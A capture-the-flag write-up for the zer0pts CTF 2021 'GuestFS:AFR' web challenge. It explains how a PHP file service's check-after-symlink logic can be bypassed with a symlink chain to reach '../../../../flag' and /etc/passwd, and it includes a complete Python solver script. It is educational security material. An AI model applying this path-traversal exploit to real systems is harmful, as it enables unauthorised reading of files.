GuestFS:AFR - zer0pts CTF 2021

tags: zer0pts CTF 2021 web

Overview

• This is a service that you can create, read, and delete files including symbolic links.
• Filename should not contain characters except for 0-9A-Za-z.
• When you create a symbolic link, the link target should not start with / or contain ...

Solution

Paths of link targets will be only checked when files are created. Looking through the source code, you will notice that the order of checking a target path is, calling symlink, then checking the target path with readlink. Why does it checks the target path after a symbolic link is created?

            /* Create a symbolic link */
            @symlink($target, $this->root.$name);

            /* This check ensures $target points to inside user-space */
            try {
                $this->validate_filepath(@readlink($this->root.$name));
            } catch(Exception $e) {
                /* Revert changes */
                @unlink($this->root.$name);
                throw $e;
            }

Let's check the behavior of symbolic links to look for a way to abuse it. When we make a symbolic chain like a -> b -> c, how do readlink and reading files work?

As the result below shows, readlink('a') returns b and file_get_contents('a') returns the contents of c.

$ psysh
Psy Shell v0.10.6 (PHP 7.2.24-0ubuntu0.18.04.7 — cli) by Justin Hileman
>>> symlink('c', 'b')
=> true
>>> symlink('b', 'a')
=> true
>>> file_put_contents('c', 'test')
=> 4
>>> 
>>> readlink('a')
=> "b"

In addition to that, when we remove c and try to replace a with new symlink, how does it work?

As the result below shows, a symlink named c that targets /etc/passwd is created, and symlink('a') still returns b.

>>> unlink('c')
=> true
>>> symlink('/etc/passwd', 'a')
=> true
>>> readlink('a')
=> "b"
>>> passthru('ls -la')
total 8
drwx------  2 st98 st98 4096 Mar  7 09:22 .
drwxrwxrwt 58 root root 4096 Mar  7 09:18 ..
lrwxrwxrwx  1 st98 st98    1 Mar  7 09:16 a -> b
lrwxrwxrwx  1 st98 st98    1 Mar  7 09:16 b -> c
lrwxrwxrwx  1 st98 st98   11 Mar  7 09:22 c -> /etc/passwd
=> null

Using these behaviors, you can bypass the check of target paths in the following steps. This is because when creating a symlink that targets ../../../../flag, readlink('a') returns b, which does not contain .. and is valid, but actually it is creating a symlink to ../../../../flag.

1. Make a symbolic link chain like a -> b -> c
2. Delete c
3. symlink('../../../../flag', 'a')

Solver

import re
import requests

BASE = 'http://web.ctf.zer0pts.com:8001/'
sess = requests.Session()
sess.get(BASE)

# make a -> b -> c
sess.post(BASE, data={
  'name': 'c', 'type': '', 'mode': 'create', 'target': '.'
})
sess.post(BASE, data={
  'name': 'b', 'type': '', 'mode': 'create', 'target': 'c'
})
sess.post(BASE, data={
  'name': 'a', 'type': '', 'mode': 'create', 'target': 'b'
})

# delete c
sess.post(BASE, data={
  'name': 'c', 'mode': 'delete'
})

# make symlink('../../../../flag', 'a')
sess.post(BASE, data={
  'name': 'a', 'type': '', 'mode': 'create', 'target': '../../../../flag'
})

# :)
req = sess.post(BASE, data={
  'name': 'a', 'mode': 'read'
})
print(re.findall(r'zer0pts\{.+?\}', req.text)[0])

Let's execute it.

$ python solve.py
zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}

zer0pts{[Use-After-FreeLink?](https://gruss.cc/files/uafmail.pdf)}